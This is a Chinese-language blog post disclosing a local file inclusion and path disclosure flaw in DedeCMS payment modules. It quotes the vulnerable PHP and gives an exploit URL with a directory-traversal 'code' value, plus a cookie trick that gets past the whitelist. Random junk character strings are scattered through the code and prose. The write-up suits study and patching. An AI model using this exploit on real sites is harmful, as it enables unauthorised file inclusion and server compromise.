dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)
8 p5 Z. F6 P6 ~* S8 a2 _1 U
3 E* A& b: g& j8 i4 m  ?6 k. C出现漏洞的两个文件为：
  Z, P2 n5 [' t% w9 |  ?# a6 lInclude/payment/alipay.php
' j0 j) W5 q  x$ Y' j8 OInclude/payment/yeepay.php
$ ~* i" s% v7 z$ I漏洞均出现在respond方法里，估计这两个文件是临时工写的。
- H) |, V/ n, n, h* B( n
Include/payment/alipay.php

......
   function respond()
4 P2 y9 E; `2 u  r. Z    {
6 ~+ J8 x& g: f' w7 G9 v- K        if (!empty($_POST))
9 q2 \1 a. i7 r        {
5 @% v$ b, n" Z9 ]% A5 J- o            foreach($_POST as $key => $data)
            {
                $_GET[$key] = $data;
6 n$ W7 Y' M$ l2 Q* x3 ]: l            }
! G  C; e( X4 |        }
3 Y' V0 E2 h' E: [9 S        /* 引入配置文件 */
- }0 f9 M( i6 H5 W4 j        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
) O0 A$ R' D/ C" i+ C3 q( i......
) [( V5 X) Y7 [6 t! N/ K# H
; h5 ~# W2 ]  ?2 v0 P
大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php

9 G% R6 {  H0 ^% S
" X2 M& P! P/ p' Q
6 k- T' W2 F; [1 X2 U  H; z- h; Z6 X......
    function respond()
    {
) l- l: a4 P) N( m5 O+ n  S* l1 T. l
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......
0 |, B4 c8 r7 ^7 z5 r
* r2 J1 R$ k5 g

6 i* A! t8 g! z
& M' P1 E. ?2 ^! {; x大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。

这两个方法在plus/carbuyaction.php文件调用。

( i9 i. t  }* v; a0 e, W9 Bplus/carbuyaction.php
9 [& A  v3 s" r3 C/ W: [
% l# s; C( L0 ^/ _......
} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
/ L9 Z, @5 I+ G8 N    {
) x( D0 t/ S. @        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
+ G0 a( J0 x! Y: n        ShowMsg($msg, "javascript:;", 0, 3000);
* T, Y  Z3 D5 b        exit();  
    } else {
        exit('Error:File Type Can\'t Recognized!');
9 y0 f' g' q4 ~' o$ ]    }
5 g$ m8 q8 I, m  q}
......
7 A4 d$ K+ }. L2 i
" [  k1 U- j2 I6 M7 X6 U
5 I- ^0 U" D% t& |  |( V' T3 ]5 P

  Y+ u0 N! h: }" Q/ ^7 x/ [

3 J$ o6 M: N( ?7 d& a4 O6 A大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
" a8 ?- C- ]  ~# ~/ J
, F& r  C0 ~5 t. I回到include/common.inc.php来看看他的机制。

& i, F; V" M% p: c4 Y
8 I4 y7 ]9 n; p! d; O+ ~0 t
) ^1 |" \4 a" Q2 s6 ~......
1 h; m' b% B9 M1 Iforeach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
/ }: M7 ^1 Z& P2 ~3 e% W: X        {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
: w9 L% W9 X) k) w5 y4 t        }
5 t1 {4 u) S" D- d$ R! F& F* d}
......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。